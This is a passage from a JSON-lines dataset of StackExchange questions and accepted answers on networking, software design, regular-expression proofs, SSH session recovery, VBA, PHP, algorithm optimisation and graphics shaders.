profile 'wlp2s0-ssidOfWifi'Jan 09 23:11:03 home systemd[1]: netctl@wlp2s0\\x2dssidOfWifi.service: Main process exited, code=exited, status=1/FAILURE"  , "title": "How to debug DHCP timeout on WiFi connect"  , "tags": "wifi;networkmanager;dhcp;netctl"  } 
{  "id": "_softwareengineering.286457"  , "question": "I recently start to work on an application that drive different measurement device.Before the user start a measure, she sets the parameters of it.Actually, considering all measurements type there are 50+ parameters.The difficulty here is that every settings depends on others for:Being availableList of available valuesso on..Moreover, some measurement settings depend on previous measure results and settings.To make it short : we have a lot of stuff that are interconnected.The actual pattern is to validate everything as soon as a values is changed. It cost a lot (in time) and we are going to add a lot of more parameters : it will break.We try to implement a pattern where we use ObservableValues and where all parameters register on all values it depend on.It became hard when the parameters depend on an other reference measure. If the reference change, we have to stop listening on the previous reference and start to listen on the new reference.Etc...An other issue is that when we work on our pattern and we had more capabilities (like serialization), or when we had some helper class (like factory), we build big files with 50+ parameters or functions.Is there any other good pattern or library to do it ?"  , "title": "What are the most used pattern to manage a lot of interconnected parameters?"  , "tags": "design;design patterns;code quality;code reuse"  , "accepted_answer": "I would suggest:divide and conquer the problemuse components and keep each component focused on its main purposedecouple you system by using an event aggregator (EA)use interfaces where an EA doesnt make senseI would try to split the big problem in smaller problems and then try to solve them by its own. The smaller problems can be solved easier by specialized components, if they are simple enough. Each component should keep its focus on its main purpose.To keep a loose coupling around components I would use an event aggregator (EA) (main purpose: notify listeners). (e.g.: Reactive Extensions, Caliburn Micro, or the Prism EventAggregator, if in .NET)I would use simple parameter classes to keep values (main purpose: handle values).I would group parameters in a some kind of tree class (main purpose: provide parameters).The tree has to be build or updated. For this I would use one tree-builder component (main purpose: build/update tree).The tree-builder needs to be notified when to react -> EA notificationSome consumer of the tree needs to be notified after the tree has changed -> EA notification...If the components are not coupled tightly, then the system can be scaled or changed when necessary. I.e.: If the building process is far too complex, then it is possible to use multiple tree-builder classes instead one. To achive this, an additional component - a tree-builder-factory - would be added. It would react on tree build/update events by providing the adequate tree-builder."  } 
{  "id": "_cs.33633"  , "question": "How would I prove that the regular expressions RS and SR where R = (0 + 1) and S = (0 + 1)* are equivalent? The '+' sign represents union of two regular expressions and two expressions RS are concatenated.From what I know, either you must prove using existing rules about equivalence of regular expressions (example: commutativity or associativity of union) or you must prove that L(RS) is a subset of L(SR) AND L(SR) is a subset of L(RS) where L is the language denoted by the regular expression in the parentheses. However, I am struggling to come up with a proof. Could someone give me a hint?"  , "title": "Proof of equivalence of regular expressions (0 + 1)(0 + 1)* and (0 + 1)*(0 + 1)"  , "tags": "proof techniques;regular expressions"  , "accepted_answer": "Let's go with your second approach. First note that $R^n$, for any nonnegative integer $n$, is in $L(S)$.If the string $w$ is in the first language, $L(RS)$, then we know that $w$ can be written as the concatenation of some string in $R$ and some string in $S$. This concatenation is denoted $(0 + 1)(0 + 1)^n$ (for some nonnegative integer $n$), which equals $RR^n$ which equals $R^{n+1}$, which equals $R^nR$, which we know is in the language $L(SR)$ (since $S=R^*$).The reverse direction is more or less the same thing.Edit:Another interesting way of proving this is to prove $L(RS) = L(S)$ and $L(SR) = L(S)$. To prove $L(RS) = L(S)$, take any string in $L(RS)$. It can be written as $RR^n$ for some nonnegative integer $n$. Now this equals $R^{n+1}$, which is of course in $L(S)$. So we have that $L(RS)\\subseteq L(S)$. Now take any string in $L(S)$. It can be written as $R^m$ for some nonnegative integer $m$. This is equivalent to $RR^{m-1}$, which is in $L(RS)$, so we know that $L(S)\\subseteq L(RS)$.Therefore we have $L(S)=L(RS)$.We can prove $L(S)=L(SR)$ in a very similar way. Therefore $L(RS)=L(SR)$.The actual difficulty and intuition behind the proof is fairly trivial, but putting the proof into words is harder. The proof amounts to proving some kind of exponent law for the Kleene star. We don't have an actual exponent law for the Kleene star, so the key part of the proof is simply isolating a single arbitrary string in the language, and then we have the finite integer exponents and we can just use the normal exponent laws."  } 
{  "id": "_unix.20452"  , "question": "I lost my connection while I was logged via SSH into my university server. Classic.Now I can't log in since the session appears to be still running and I get the error Too many logins for 'myuser'. (Only 1 login for each user is allowed)Is there a way to recover the session not having another access to the server (I can't reach any sysadmin until monday) - or the only way is just to wait for the session to time out? Typically how long should I wait? More than an hour has already passed."  , "title": "How do I recover/kill an SSH session after losing connection?"  , "tags": "ssh;networking"  , "accepted_answer": "You could try running something like ssh -n remuser remhost kill -HUP -1.  This would not create a login, so it might bypass the 1 login/user limitation.If this does not work, then you might have to find someone who does have access, then run su remuser with your password from that person's account.  Then you'd be able to run kill -HUP -1."  } 
{  "id": "_unix.261302"  , "question": "I am getting this output from rpm -Kv on one of my experimental packages:clime@coprbox ~/v4tests $ rpm -Kv signed10.rpmsigned10.rpm:    Header V3 RSA/SHA1 Signature, key ID f67e1676: NOKEY    Header SHA1 digest: OK (6289e7d8d0a73be107945df48cefb762a5036eb1)    V3 RSA/SHA1 Signature, key ID f67e1676: BAD    MD5 digest: OK (3c8cafddad94a1e75adf52c59203cd3a)Now, there are two lines that mention signature:    Header V3 RSA/SHA1 Signature, key ID f67e1676: NOKEY    V3 RSA/SHA1 Signature, key ID f67e1676: BADWhat is the meaning of the first line and what is the meaning of the second?"  , "title": "analyzing rpm -Kv output"  , "tags": "rpm;signature"  } 
{  "id": "_softwareengineering.322396"  , "question": "For example, I have a clan and a character. There's a character that is the leader. To give the clan a specific feature, some money from the character is required.I don't want to have too much tight coupling. Right now I have a member in the clan class like this:bool clan::give_rank(character* chr, int rank){     if (!is_leader(chr.id()) || !chr->has_money(500))       return false;    this->rank_ = rank;    chr->take_money(500);     return true;}Is this tight coupling? or maybe I should have a secondary class like a clan_mgr that connects both classes? bool clan_mngr::give_rank(character* chr, int rank){     clan* myclan = chr->get_clan();     if (!myclan || !myclan->is_leader(chr.id()) || !chr->has_money(500))       return false;    myclan->rank_ = rank;    chr->take_money(500);    return true;}// Or maybe this one, which looks even worse imo:bool character::give_rank_to_clan(int rank){     clan* myclan = chr->get_clan();     if (!myclan || !myclan->is_leader(id()) || !has_money(500))       return false;    myclan->rank_ = rank;    TakeMoney(500);        return true;}"  , "title": "is this a good design"  , "tags": "design;c++;object oriented design"  } 
{  "id": "_unix.179717"  , "question": "I have setup a small home server / NAS running Debian 7. The server is connected directly to the router with a static IP set in the router's control panel. There are no port forwarding rules set for the server machine.The server has been running fine for over two weeks, providing a samba share and a Plex service to the home network. Last week I wanted to use it to wake other devices in the house, so I installed the ethtool and ethwreake packages to do so. After those installs, when the server is attached to the router (or indirectly via a switch), it makes the internet connection drop randomly, for about 1-2 minutes. After this time, the connections returns and I can ping google.com for about 20-30 seconds, and that keeps repeating forever.I have absolutely no idea what could be causing this. How can a machine make the internet connection drop for the entire network? The only thing I could think of is some king of packet flooding, and the router can't keep up with the requests and reboots itself or something like that.This has happened before on another Debian install, and I had to reinstall the OS entirely since I couldn't find a solution.When I disconnect the server to the network, the connection returns after about 1 minute.Is there some kind of test I could do to find the cause, or do I have to clean install Debian again?"  , "title": "Debian server makes internet connection drop"  , "tags": "networking;debian;router;ethernet;internet"  , "accepted_answer": "It sounds like what happens when two devices on the same network have been given the same IP address. Check both devices and ensure that they have different IP addresses."  } 
{  "id": "_computergraphics.5053"  , "question": "I am attempting to visualize the raw output from PBRT's half-vector sampling function, based on the trowbridge-reitz distribution.  I'm isolating only the distribution and the associated functions necessary to sample it. The function is based on the standard GGX half vector sampling formula: $$\\theta_s = arctan(\\frac{\\alpha_g\\sqrt{\\xi_1}}{\\sqrt{1-\\xi_1}})$$$$\\phi_s = 2\\pi\\xi_2$$(from Walter GGX: http://www.cs.cornell.edu/~srm/publications/EGSR07-btdf.pdf)but the PBRT version has a lot more black magic related to importance sampling only directions that make significant contributions based on the incoming wo angle.  That one detail is making it hard for me to find published papers which specify how to add this directional importance sampling to the standard GGX sampling function.Anyway, these angles come back from the sampling function as a vector 3 and spherical coordinates with $$Normalize([\\theta_s,\\phi_s, 1.0])$$ which should perturb the surface normal, creating the half vector to reflect around.At this point I am only trying to make sense of the output from the sample wh function.  To visualize the results (raw wh output) I made a little graphics utility to output the results to a normal map.  Here is the output:And a live webgl example here that continually runs new random numbers through the output (as if monte carlo sampling were running): http://rdtests.ml3ds-test.com/microfacettesting.htmlMy expectation of the output would be a somewhat smooth gradient blend of the wh orientations as the x and y slopes cross into each other.  But what i'm seeing is an area between the 2 axes that doesn't want to blend well.  The random noise is good/expected, but you can see that inside the x/y blend areas, even the noise becomes fairly non-random.  Can anyone give me some tips on what the half vector sampling should graph like, or some pointers to papers/published work that I can use to locate test data, graphs, or other educational material that could help me figure this out?  "  , "title": "Visualize the output of a Trowbridge-Reitz Half Vector Sampling Function"  , "tags": "raytracing;pathtracing;sampling;distribution"  } 
{  "id": "_codereview.46883"  , "question": "I have this uniform cost search that I created to solve Project Euler Questions 18 and 67. It takes the numbers in the txt file, places them into a two dimensional list, and then traverses them in a uniform cost search (that I hoped was a kind of implementation of an a* search). It looks like this:f = open('triangle.txt', 'r')actualRows = [[n for n in p.split( )] for p in f.read().split('\\n')]actualRows.pop()actualRows = [[int(n) for n in p] for p in actualRows]rows = [[100 - n for n in p] for p in actualRows]def astar(pq):    m = min(pq,key=lambda w: w[3])    if len(m[2]) + 1 is len(actualRows):        return m    pq.remove(m)    toAdd = list(m[2])    toAdd.append(m[0])    pq.append((actualRows[m[4]+1][m[5]], rows[m[4]+1][m[5]], toAdd, m[3] + m[1], m[4]+1, m[5]))    pq.append((actualRows[m[4]+1][m[5]+1], rows[m[4]+1][m[5]+1], toAdd, m[3] + m[1], m[4]+1, m[5]+1))    return astar(pq)# Each tuple is: (actualScore, minScore, previous, totalScore, y, x)priorityQueue = [(actualRows[0][0], rows[0][0], [], 0, 0, 0)]a = astar(priorityQueue)print aprint str(sum(a[2]) + a[0])I'm not asking for you to tell me how to solve the Problem, I just want to optimize this search so that it doesn't crash going past the 17th row of numbers. How would I optimize this? Or how would I write a proper uniform cost search?"  , "title": "Recursive uniform cost search that needs to be optimized"  , "tags": "python;optimization;recursion;programming challenge;pathfinding"  , "accepted_answer": "You mentioned in the comments that the size of the triangle is hard-coded into the code. The very first thing you should do is make this a variable which you declare at the start of your code. (In many other languages, this would be a constant). You also use the number 100 in line 5. If this is supposed to be one more than the number of lines, it should be defined in terms of the same constant, so that the two can be changed in the same place. (Edit: I see from the problem that 99 and 100 are not related. If you had had two variables, NUM_ROWS and MAX_VALUE defined at the top, the meaning of each of the numbers would have been clear to me immediately.)A level of sophistication above, but still very easy, would be to give some reasonable error to a user like @JanneKarila who has used the wrong number of lines. This might be overkill for code that you and only you are ever going to run, but a one-line check with an error message might help you if you debug using the wrong file (it's easy to spend hours taking your program to pieces and forget to check which input you are using), and it makes life much easier for anyone else who wants to try it.Another stylistic thing which can be very important - for me the hardest part of your code to read is the lines that start pq.append. For each expression on these lines, I have to glance several times back to the definition of priorityQueue and the comment with it to find out exactly what each element of your tuple represents. If you defined a very simple class, then rather than m[3] + m[1] I would see m.totalScore + m.currentValue. Just doing this by itself would make the code easier to read (these two lines are going to be among the most important to debug). It might be the case that your class could also have methods or 'smart' constructors which could do some of the trickier work and make your inner loop more readable.Ultimately, I don't think it is realistic to 'optimize' this program to be able to solve a problem of the same size as Euler problem 67. If you try and store the lists inside your tuples more efficiently you might get to 18, 19 or 20 levels before crashing. However, the fundamental flaw of the algorithm is that you are going to store almost every path in your list in priorityQueue, with probably up to half of them present at any one time. This is unworkable from a memory perspective (the number of paths grows very rapidly as you increase the size of the triangle) and also from a run time perspective (if you try and measure the time taken for levels up to 17 you should be able to see this). Using the a* algo has made it a little bit less obvious to see that you are doing exactly what the Project Euler page recommends against - trying all paths. (EDIT: I didn't run the code. Turns out a stack overflow and not running out of memory is the reason for your crash. If you get rid of the recursion as suggested in @JanneKarila's answer, you will probably make it to quite a few more levels before running out of memory, but still nowhere near 100. The comments below still apply.)You need to go back to the drawing board and think of another way to solve the problem. A good starting point is to try and solve a few small triangles by hand, and see what methods you come across. Don't worry though - writing this program has given you a chance to learn both about an interesting algo and some things about programming, which I'm sure have made it worthwhile."  } 
{  "id": "_codereview.30876"  , "question": "I am using VBA to manipulate the global address book in Outlook.  My method takes a contact and returns a complete list of everyone who reports through that person based on the Outlook org structure.Unfortunately it takes quite some time to run, even for a single manager.  I'm not really sure what is the best way to improve the performance here - it sees the getDirectReports method takes some time, but, I don't see an easy way to determine if a user has reports prior to calling it first.Public Sub printAllReports()    Dim allReports As Collection    Set allReports = New Collection    Dim curLevelReports As Collection    Set curLevelReports = New Collection    Dim nextLevelReports As Collection    Set nextLevelReports = New Collection    Dim myTopLevelReport As ExchangeUser    'this method returns an exchange user from their outlook name    Set myTopLevelReport = getExchangeUserFromString(outlook resolvable name here)    'add to both the next level of reports as well as all reports    allReports.Add myTopLevelReport    curLevelReports.Add myTopLevelReport    Dim tempAddressEntries As AddressEntries    Dim newExUser As ExchangeUser    Dim i, j As Integer    'flag for when another sublevel is found    Dim keepLooping As Boolean    keepLooping = False    Dim requireValidUser As Boolean    requireValidUser = False    'this is where the fun begins    Do        'get current reports for the current level        For i = curLevelReports.Count To 1 Step -1            Set tempAddressEntries = curLevelReports.item(i).GetDirectReports            'add all reports (note .Count returns 0 on an empty collection)            For j = 1 To tempAddressEntries.Count                Set newExUser = tempAddressEntries.item(j).getExchangeUser                'isExchangeUserActualEmployee has some short boolean heuristics to make sure                 'the user has at least a title and an email address                If (isExchangeUserActualEmployee(newExUser) = True Or requireValidUser = False) Then                    allReports.Add newExUser                    nextLevelReports.Add newExUser                    keepLooping = True                End If            Next j            Set tempAddressEntries = Nothing        Next i        'reset for next iteration        Set curLevelReports = nextLevelReports        Set nextLevelReports = New Collection        'no more levels to keep going        If keepLooping = False Then            Exit Do        End If        'reset flag for next iteration        keepLooping = False    Loop    Dim oMail As Outlook.MailItem    Set oMail = Application.CreateItem(olMailItem)    'do stuff with this information (currently just write to new email, could do other cool stuff)    For i = 1 To allReports.Count        oMail.Body = oMail.Body + allReports.item(i).name + ; + allReports.item(i).JobTitle    Next i    oMail.DisplayEnd Sub"  , "title": "Manipulating the global address book in Outlook"  , "tags": "performance;vba;outlook"  , "accepted_answer": "Your printAllReports method does almost everything that's possible to do with the Outlook API (ok maybe not), except printing anything. You basically have what we call a monolith, and that's bad because as your program changes, you are tempted to just keep adding and adding and adding, until the thing becomes an unmanageable, tangled mess. If you're going to call a method printAllReports, give it a signature like this: Sub printAllReports(allReports As Collection), so its intent is clear at first glance - and then make it do one thing; print all reports.Performance-wise, the major hit is going to be hitting the Exchange server, so your code needs to make sure it hits the server only when it's necessary. If that's already the case, chances are you've already got it as good as it gets.I think your multiple collections and 3-layer deep nested loop approach isn't the easiest way to make your code readable and maintainable, let alone to fine-tune its performance.HierarchicalUserThe beautiful thing about a language that allows you to define objects, is that doing so actually adds vocabulary to that language, so no matter how lame VBA/VB6 is, with your own objects you can add new nouns, and with your own methods you can add new verbs, and with enough of them you actually end up crafting a language (ok, an API) that's beautiful in its own way.You have the concept of an ExchangeUser, that can report to another ExchangeUser, and that can have ExchangeUser underlings. I call that a hierarchy, and I'd recommend you encapsulate that ExchangeUser into your very own HierarchicalUser class, something along those lines:private type tHierarchicalUser    User As ExchangeUser    Superior As HierarchicalUser    Underlings As New Collectionend typeprivate this As tHierarchicalUserOption ExplicitPublic Property Get User() As ExchangeUser    Set User = this.UserEnd PropertyPublic Property Set User(value As ExchangeUser)    Set this.User = valueEnd PropertyPublic Property Get Superior() As HierarchicalUser    Set Superior = this.SuperiorEnd PropertyPublic Property Set Superior(value As HierarchicalUser)    Set this.Superior = valueEnd PropertyPublic Property Get Underlings As Collection    'DO NOT return a reference to the encapsulated collection, you'll regret it!    Dim result As New Collection, underling As HierarchicalUser    For Each underling In this.Underlings        result.Add underling    Next    Set Underlings = resultEnd PropertyPublic Sub AddUnderling(underling As HierarchicalUser)    Set underling.Superior = Me    this.Underlings.Add underling 'you can use a key here to ensure uniquenessEnd Sub'almost forgot!Public Function FlattenHierarchy() As Collection    Dim result As New Collection    'traverse whole hierarchy and add all items to a collection that you return    Set FlattenHierarchy = resultEnd SubThen you'll need a way to create instances of this class, and populate them. Enter the HierarchicalUserFactory (well, I know I would put that in its own class, but that's just me) - instead of nesting code we're going to be nesting method calls, recursively:Public Function CreateHierarchicalUser(exUser As ExchangeUser) As HierarchicalUser    Dim result As New HierarchicalUser    Dim entry As AddressEntry    Dim underling As ExchangeUser    set result.User = exUser    For Each entry In exUser.GetDirectReports() '<< For Each won't loop if there's nothing in the collection        'if possible, run the isExchangeUserActualEmployee logic off this 'entry' object,        'so you can only call the expensive GetExchangeUser method if needed:        set underling = entry.GetExchangeUser        result.AddUnderling CreateHierarchicalUser(underling) '<<< recursive call!    Next    Set CreateHierarchicalUser = resultEnd FunctionHaven't tested any of this, but I believe an approach along those lines could possibly help you reduce the amount of GetExchangeUser calls and thus increase performance... not to mention readability++ :)So your printAllReports method could possibly look like this now:Public Function getHierarchy(topLevelUserName As String) As HierarchicalUser    Dim factory As New HierarchicalUserFactory    Dim topLevelUser As ExchangeUser    Set topLevelUser = getExchangeUserFromString(topLevelUserName)    Set GetHierarchy = factory.CreateHierarchicalUser(topLevelUser)End SubPublic Sub printAllReports(hierarchy As HierarchicalUser)    Dim reports As Collection    Set reports = hierarchy.FlattenHierarchy()    'do all that cool stuff you wanted to do!End SubNitpicksWhen you declare an object variable and assign it to a New instance on the next line, consider combining the two statements into one: Dim X As New Y.When you declare a Boolean, it's automatically initialized to False so your post-declaration assignments are redundant.When you evaluate a Boolean expression in an If statement, you don't need to specify =True or =False - rather, just say If SomeBooleanExpression Then or If Not SomeBooleanExpression Then.When looping through objects in a collection, ALWAYS use a For Each construct. This will avoid weird stuff like For i = 1 To MyCollection.Count when .Count is 0, even someone that knows the VBA/VB6 collection base rules like the palm of their hand will go huh?. For...Next has been around since before objects even existed, that construct is for traversing arrays. Collections deserve a For Each."  } 
{  "id": "_scicomp.10378"  , "question": "I have a numpy function f that takes arrays as arguments and a 3D array x[a,b,c].  I would like to evaluate the function f along a specific column.  A long-winded way could be with comprehensions:y = [ [ f(x[a][b])  for a in range(len(x)) ] for b in range(len(x[0]))]y = np.array(y)Is there a numpy way of doing this with broadcasting?"  , "title": "evaluating a function along an axis in numpy"  , "tags": "numpy"  } 
{  "id": "_unix.318274"  , "question": "The following is net-snmp output and as you see, diskIOLA is not availabe:SNMP table: UCD-DISKIO-MIB::diskIOTablediskIOIndex diskIODevice diskIONRead diskIONWritten diskIOReads diskIOWrites diskIOLA1 diskIOLA5 diskIOLA15 diskIONReadX diskIONWrittenX      25          sda   845276160     2882477056      576632     42597061         ?         ?          ?   5140243456    883350772736According to the definitions here http://www.net-snmp.org/docs/mibs/ucdDiskIOMIB.html:diskIOLAx means the x minute average load of disk (%).The other values in the table are:diskIONRead - The number of bytes read from this device since boot.diskIONWritten - The number of bytes written to this device since boot.diskIOReads - The number of read accesses from this device since boot.diskIOWrites - The number of write accesses to this device since bootSo, how does this load can be calculated manually, as it is not collected in the server?In the end, we want to show graphs to users where they can find if a disk IO is heavy or not. We can either display this using Read/write bytes/sec or Read/write requests/sec. If we display Read/write requests/sec alone, we can know that there is heavy I/O going on. But we won't be knowing if the disk R/W speed is effected by this. And displaying R/W speed alone can't tell us why the speed is effected - whether it is because of too many I/O operations or not enough buffer memory for asynchronous writes. Hence, we need to display both.But, what is the other value disk IOLoad means and how can we calculate it and why is it not being collected in snmp. Does it cause huge load if enable this? If it cause heavily load collecting this value, then we can calculate it manually. But, what's the formula?"  , "title": "How to calculate disk IO load percentage?"  , "tags": "io;disk;snmp"  } 
{  "id": "_cogsci.13594"  , "question": "Could (TBI) Traumatic brain injuries be linked to Post Traumatic stress syndrome (PTSD)? I know there is a lot of concern with veterans and PTSD, but I am more interested in all the other situations/civilian cases of PTSD. From what I have read, there are overlapping symptoms between PTSD and TBI? Is it possible for someone to have PTSD from damage to the brain and not from a specific event? "  , "title": "Is there a link between brain injuries (TBI) and PTSD?"  , "tags": "brain injury;ptsd"  } 
{  "id": "_webapps.41470"  , "question": "Is there a way to search a single web-domain using regular expressions? I've been mirroring sites with WinHTTrack and then using dtDesktopSearch but it's an incredibly inefficient process and I was wondering if anyone knew of a better way."  , "title": "Search a single website using regular expressions?"  , "tags": "search engine;regex"  } 
{  "id": "_webmaster.19061"  , "question": "Internal site has recently been redesigned, but IE8 does not seem to be loading the new css rules only when viewed via VPN. I really have no clue what to look for. I can't reproduce the problem, but it's apparently affecting client for the last month.I've suggested:Reloading IE8Checking InternetPermissionsFlushing the cacheI'm not really certain what direction to search for the answer. Is it likely to be a server permissions issue? a VPN connection issue? a rare ie8 CSS bug?"  , "title": "CSS not loading when site is viewed via Windows VPN"  , "tags": "internet explorer 8"  , "accepted_answer": "I finally got to the bottom of this issue. Here's what I did. If you can't reproduce an error, try to see what the client sees. I had the client email me rendered page output and noticed strange variables inserted all over in and around the JavaScript and other file addresses. A quick Google showed me those vars point to firewall issues.Check location is not just (Site Name) but actual (Site URL).I then asked her what the URL she was using, and the URL had the same strange variables in it too. Ok, so the URL was setting the variable in the first place, for the firewall to accept.I had her use the proper URL and the page seems to work correctly! I'll have to dig into the firewall to make sure the site filters correctly, but I'm 100% certain that is the issue, and now I can actually find the solution. It will likely end up being a combination of firewall settings and client education. The biggest issue was not knowing which direction to search. You helped me  rule out some other possible scenarios. Thank you all for your views and ideas."  } 
{  "id": "_unix.73339"  , "question": "Trying to set up a Centos 6 server configuration where we can automate the running of an application that uses Selenium.  In this case, ideally, we should be able to:Create a graphical session (which should remain open for at least 30 minutes).Run an application that will continue running while the session is active.Have that application, using Selenium, run automated website tests.What sort of installation / configuration do I need to do this?  I've already set up gdm and  a vnc server to test it out. I am at a loss, however, on what to do next."  , "title": "How to set up remote graphical sessions on CentOs?"  , "tags": "linux;desktop;vnc;session;remote management"  } 
{  "id": "_codereview.29511"  , "question": "I'm working on an old PHP website, and NetBeans is complaining about an uninitialized variable. I'm seeing some code like this:$app->soapAPIVersion($apiVersion);$_SESSION['apiVersion'] = $apiVersion;The function looks something like this:function soapAPIVersion(&$apiVersion){    $apiVersion = '';    $result = false;    $soapResult = $client->call('getAPIVersion', array('sessionKey' => $sessionKey), $url);    if (is_string($soapResult))    {        $apiVersion = $soapResult;        $result = true;    }    return $result;    }I believe it's using this line to initialize the $apiVersion variable:$app->soapAPIVersion($apiVersion);For better coding practice, should that really be this:$apiVersion = '';$app->soapAPIVersion($apiVersion);Or is it a valid trick?"  , "title": "Initializing a variable with a function reference (PHP)"  , "tags": "php;php5"  , "accepted_answer": "With all do respect, this code really did hurt. Netbeans is complaining, because the function soapAPIVersion expects a reference to a variable. You're passing an undeclared, and uninitialized variable to the function. Sort of like a void pointer/null-pointer thing.It's not really a big deal, but I cannot, for the life of me, get why this function uses a reference as an argument. I think it better to change it to:function soapAPIVersion(){    $soapResult = $client->call('getAPIVersion', array('sessionKey' => $sessionKey), $url);    if (is_string($soapResult))    {        return $soapResult;    }    //implicitly return null, or throw exception}And call it like so:$apiVersion = $app->soapAPIVersion();if ($apiVersion === null){    throw new RuntimeException('unable to get the API version');}$_SESSION['apiVersion'] = $apiVersion;Bottom line: only pass by reference if you need your function to do 2 things at the same time, and you can't split those two things over 2 functions. situations are Very rare. Since PHP5, I've only had to use a reference argument 5~10 times, I think, so avoid, if at all possible"  } 
{  "id": "_cs.75837"  , "question": "I'm trying to understand the definition of program analysis on Wikipedia:Program analysis is the process of automatically analyzing the behavior of computer programs regarding a property such as correctness, robustness, safety and liveness.What is the meaning of automatic here?Are parsers static analysis tools, since they will throw an error if they encounter syntactically invalid code?Is running a program an example of dynamic analysis, since it will provide me with an output (though I still have to interpret it myself)?What if I explicitly throw a this can't happen exception when the program reaches an invalid state?What about using a debugger to pause execution?"  , "title": "What counts as automatic program analysis?"  , "tags": "static analysis"  , "accepted_answer": "There is no sharp formal definition.Static denotes before running the program.Dynamic denotes while running the program.Automatic stands for without the intervention of the user. For instance, Hoare logic can be used to prove program properties, but (at least in its basic form) it requires user-provided invariants. Abstract interpretation, instead, often results in a totally automatic analysis. Type checking is usually regarded as automatic, since the type checker does not (usually) ask the user to provide hints about, e.g., why a given expression has the given type.Parsing is static, but it's such a preliminary stage that probably most people wouldn't consider as program analysis at all. If a text file does not respect the syntactic rules, it is not part of the programming language (a language being a set of strings, after all!), hence it is not even a program, hence parsing is not program analysis. I would not be very interested in the syntax errors reported by cc kitten.jpeg, for instance.Observing the program when it is being run is definitely a dynamic approach. Using a debugger, observing fired exceptions fall in this category. "  } 
{  "id": "_codereview.37806"  , "question": "I'm trying to make a program that calculates your k/d ratio (kill/death, which is used in FPS games to make people believe that it's skill), how many kills you need without dying once to reach a goalKD. It also has a part that calculates how many battles you need if you give the program your average battle kills and battle deaths.Is there a efficient way to program it? Currently, the way I'm doing it is getting me into programmer-efficiency hell.For i = 1 to 100000 {    While GoalKD>KDratio {      Kills = BattleKills + Kill      Deaths = BattleDeaths + Death      KDratio = Kills / Deaths      i++  }}I'm programming this in SmallBasic because I'm most familiar with it, and I think it's easily readable. Also, if possible, don't give the answer right away; give me some hints for me to practice my mind. Add the answer in a spoiler box."  , "title": "Calculating kills and deaths in a game"  , "tags": "performance;homework;basic lang"  , "accepted_answer": "For the kills needed part, you are trying to solve this equation:k{current} + n--------------  = r  d{current}Where r is the target rate and n is the number you're looking for. Some basic algebra:n = rd - kFor the battles part, you need to solvek{current} + b * k{battle}            // current kills + additional kills--------------------------  = rd{current} + b * d{battle}            // current deaths + additional deathsk{current} + b * k{battle} = r * (d{current} + b * d{battle})  // multiply both sides by d{current} + b * d{battle}k{current} + b * k{battle} = r * d{current} + r * b * d{battle})  // just showing multiplication of rb * (k{battle} - r * d{battle}) = r * d{current} - k{current}  // subtracting terms from each side     r * d{current} - k{current}b =  ---------------------------  // dividing by k{battle} - r * d{battle}     k{battle} - r * d{battle}In your code above, this becomesneed = Math.ceiling( GoalKD * Deaths - Kills )battles = Math.ceiling( ( GoalKD * Deaths - Kills ) / (BattleKills - GoalKD * BattleDeaths) )[I'm not a SmallBasic guy, so please forgive any syntax errors above.](Edited to fix math error re battles required and add comments to the math.)"  } 
{  "id": "_cs.48246"  , "question": "I have a graph with V vertices and E edges. Each edge is a road that takes fuel F to travel. I have a gas tank of capacity K, and want to find the fewest number of refills needed to go from any vertex to any other vertex. If I choose to refuel, I can fill the tank completely. My thought is to modify the Floyd - Warshall Algorithm to keep track of both number of refills, and amount of gas left. However, I am not sure how to proceed.Note: This is NOT a HW question. I was reading To Fill or not to Fill: The Gas Station Problem and began to wonder. "  , "title": "All Pairs Shortest Path Fewest Stops"  , "tags": "algorithms;graphs;optimization;shortest path"  } 
{  "id": "_cs.71272"  , "question": "In a paper I see the following lemma about unlabeled binary trees:If $s_1$ and $s_2$ are both m-node binary trees, then the number of n-node binary trees containing $s_1$ as a subtree is the same as the number of n-node binary trees containing $s_2$.It goes on to use this to show that if you want to compute the number of n-node binary trees that have m-node as a subtree, it doesn't matter what m-node tree you use.I feel like I'm either misinterpreting this or missing something obvious. But isn't the following setup a contradiction to this lemma:Nodes 2a and 6a produce the same tree, so tree 1 is only the subtree of 5 4-node trees while tree 2 is a subtree of 6 4-node trees."  , "title": "Number of n-node binary trees containing an m-node binary subtree"  , "tags": "binary trees"  , "accepted_answer": "You haven't defined what a subtree is, so let's assume that $S$ is a subtree of $T$ if there is a node $x \\in T$ whose subtree is isomorphic to $S$ (the notion of isomorphism depends on the definition of subtree).Now suppose $S_1,S_2$ are two trees on $m$ of vertices. For any tree $T$, mark all the nodes whose subtrees contain $m$ vertices. Define $\\pi(T)$ by replacing all such nodes whose subtree is isomorphic to $S_1$ by a subtree isomorphic to $S_2$, and vice versa. For any $n$, this is an involution on the set of trees on $n$ vertices which satisfies the following property: $T$ contains $S_1$ iff $\\pi(T)$ contains $S_2$. This shows that the number of trees of size $n$ containing $S_1$ is the same as the number of trees of size $n$ containing $S_2$."  } 
{  "id": "_computerscience.3990"  , "question": "I have two methods of calculating tangent and cotengent (needed for normalMap lighting calculation).The one is doing it from CPP code (with assimp library for example)The second is doing it directly in shader (in Vertex shader/in fragment shader)What is the best optimized method? (optimized for speed, with vsync activated)I use Opengl 3.3+"  , "title": "Where is the best place for Tangent-bitangent calculation, in shader or in C/CPP code?"  , "tags": "opengl;shader;gpu"  , "accepted_answer": "Doing it in the CPU side during initialization is what I'd go for, this is assuming you are initialising that data once and passing it to the GPU.On the GPU side, doing the calculations per fragment would be too costly and should be out of the question, unless it's really needed for a special effect then you shouldn't add unneeded ALU work to the fragment shader, this will only cause your application to slow down. On the vertex shader is more acceptable but again if you have highly tessellated geometry, it'll be expensive. Whenever there is data that you can compute just once, then go for that instead of doing it every frame. Even if you were planning on doing it just once on the GPU and using transform feedback or an FBO to store the data, I think this approach would be more costly. As always though, profile your application, careful tradeoffs are specific to architectures."  } 
